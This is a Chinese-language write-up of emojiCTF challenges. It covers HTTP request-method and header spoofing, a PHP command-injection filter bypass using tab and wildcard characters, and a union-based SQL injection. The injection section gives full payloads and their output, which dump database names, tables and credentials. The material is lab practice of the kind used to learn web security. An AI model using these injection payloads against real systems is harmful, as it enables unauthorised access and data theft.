emojiCTF复现

http

根据提示一步步修改请求头,由于hackbar只能发送get跟post,但是这两种方法都不是正确方法,所以用yakit尝试其他方法

使用PUT方法得到flag位置

进入后发现是个假的flag,但是一看地址,不是fl1l1l1l1ag.php,盲猜302跳转,去抓包里看

果然,得到flag

rce

f12被禁用,手动打开调试

源码里提示,进入robots.txt得到/fl@g.php路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['emo'])){
$emo = $_GET['emo'];
if(!preg_match("/\;|\"|\*| |[b-h]|[m-r]|\\$|\{|\}|\^|\>/i",$emo)){
system($emo);
}
else{
echo "Again";
}
}
else{
echo "Try";
}
?>
Try

在查看内容的命令cat、tac、more、less、head、tail、nl、sed、sort、uniq中,tail没被过滤,空格用tab绕过,flag用?绕过

1
emo=tail%09?la?.txt

得到flag

e4_sql

username使用双引号时出现错误,存在sql注入,用order by查看有几列

当order by为3时出现报错,说明内容为两列

使用union联合查询查看回显

回显在底部

列出当前数据库名:

1
2
3
password=2&submit=提交&username=1" union select database(),2#

success!,your username is students,your password is 2,but where is the flag?

列出表名:

1
2
3
password=2&submit=提交&username=1" union select group_concat(table_name), 2 from information_schema.tables where table_schema='students'#​

success!,your username is information,your password is 2,but where is the flag?

列出表下的字段:

1
2
3
password=2&submit=提交&username=1" union select group_concat(column_name), 2 from information_schema.columns where table_name='information'#

success!,your username is username,password,your password is 2,but where is the flag?

列出username跟password字段的值

1
2
3
password=2&submit=提交&username=1" union select group_concat(username), group_concat(password) from students.information#​

success!,your username is {迷hu老师},{超人墙},{波毕},{secret},your password is {我滴斯啦妹!},{干翻GG!},{追随我的老大!},emojiCTF{fecb4283-24a1-4b0b-ab31-9982077fdf9b},but where is the flag?

得到flag

easy_web

根据提示一设置User-Agent:Baiduspider,进入下一步

问AI CloudFlare CDN的流量请求头是什么样的,设置CF-Connecting-IP: 203.0.113.195进入下一步

又被告知只能通过洋葱浏览器访问,也是CF参数

一个个试,但是试完了发现都不行,于是去找大佬的WP

原来请求头中的CF-IPCountry必须为T1,表示来自洋葱网络

一个小知识点,学习了